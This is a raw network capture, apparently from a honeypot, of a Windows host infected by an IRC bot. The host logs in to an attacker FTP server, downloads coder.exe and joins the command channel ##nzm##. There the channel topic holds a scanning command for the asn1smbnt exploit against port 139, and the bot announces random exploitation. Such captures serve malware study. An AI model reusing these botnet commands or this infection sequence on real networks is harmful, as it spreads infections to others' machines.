ATTACKER:	220 NzmxFtpd 0wns j0 
VICTIM:  	USER 1 
ATTACKER:	331 Password required 
VICTIM:  	PASS 1 
ATTACKER:	230 User logged in. 
VICTIM:  	PORT 192,168,1,136,4 
ATTACKER:	200 PORT command successful. 
ATTACKER:	RETR coder.exe 
ATTACKER:	150 Opening BINARY mode data connection 
ATTACKER:	226 Transfer complete. 
VICTIM:  	QUIT 
ATTACKER:	221 Goodbye happy r00ting. 
VICTIM:  	NICK USA|00|XP|SP0|0204612USER wxvkwzjqc 0 0 :USA|00|XP|SP0|0204612 
ATTACKER:	:irc.oc256.com NOTICE AUTH :*** Looking up your hostname...:irc.oc256.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead 
ATTACKER:	:irc.oc256.com NOTICE USA|00|XP|SP0|0204612 :*** If you are having problems connecting due to ping timeouts, please type /quote pong DD5EF013 or /raw pong DD5EF013 now.PING :DD5EF013 
ATTACKER:	PONG :DD5EF013 
ATTACKER:	:irc.oc256.com 001 USA|00|XP|SP0|0204612 :Welcome to the oc256 IRC Network USA|00|XP|SP0|0204612!wxvkwzjqc@192.168.1.136:irc.oc256.com 002 USA|00|XP|SP0|0204612 :Your host is irc.oc256.com, running version Unreal3.2-beta19:irc.oc256.com 003 USA|00|XP|SP0|0204612 :This server was created Sun Feb  8 18:58:31 2004:irc.oc256.com 004 USA|00|XP|SP0|0204612 irc.oc256.com Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN:irc.oc256.com 005 USA|00|XP|SP0|0204612 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server:irc.oc256.com 005 USA|00|XP|SP0|0204612 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=oc256 CASEMAPPING=ascii :are supported by this server:irc.oc256.com 422 USA|00|XP|SP0|0204612 :MOTD File is missing:USA|00|XP|SP0|0204612 MODE USA|00|XP|SP0|0204612 :+i 
VICTIM:  	JOIN ##nzm##  
ATTACKER:	:USA|00|XP|SP0|0204612!wxvkwzjqc@192.168.1.136 JOIN :##nzm##:irc.oc256.com 332 USA|00|XP|SP0|0204612 ##nzm## :.root.s asn1smbnt 100 5 0 130.x.x.x -a:irc.oc256.com 333 USA|00|XP|SP0|0204612 ##nzm## d3lux 1252096765:irc.oc256.com 353 USA|00|XP|SP0|0204612 @ ##nzm## :USA|00|XP|SP0|0204612 @d3lux :irc.oc256.com 366 USA|00|XP|SP0|0204612 ##nzm## :End of /NAMES list. 
VICTIM:  	USERHOST USA|00|XP|SP0|0204612MODE USA|00|XP|SP0|0204612 -x+iJOIN ##nzm## USERHOST USA|00|XP|SP0|0204612MODE USA|00|XP|SP0|0204612 -x+iJOIN ##nzm## USERHOST USA|00|XP|SP0|0204612MODE USA|00|XP|SP0|0204612 -x+iJOIN ##nzm##  
ATTACKER:	:irc.oc256.com 302 USA|00|XP|SP0|0204612 :USA|00|XP|SP0|0204612=+wxvkwzjqc@192.168.1.136    :irc.oc256.com 302 USA|00|XP|SP0|0204612 :USA|00|XP|SP0|0204612=+wxvkwzjqc@192.168.1.136     
VICTIM:  	PRIVMSG ##nzm## :\002n\002z\037m\037 (root.p\037l\037g) \002\273\273\002  Random Exploitation started on 130.x.x.x:139 waiting 5 seconds for 0 minutes using 100 threads.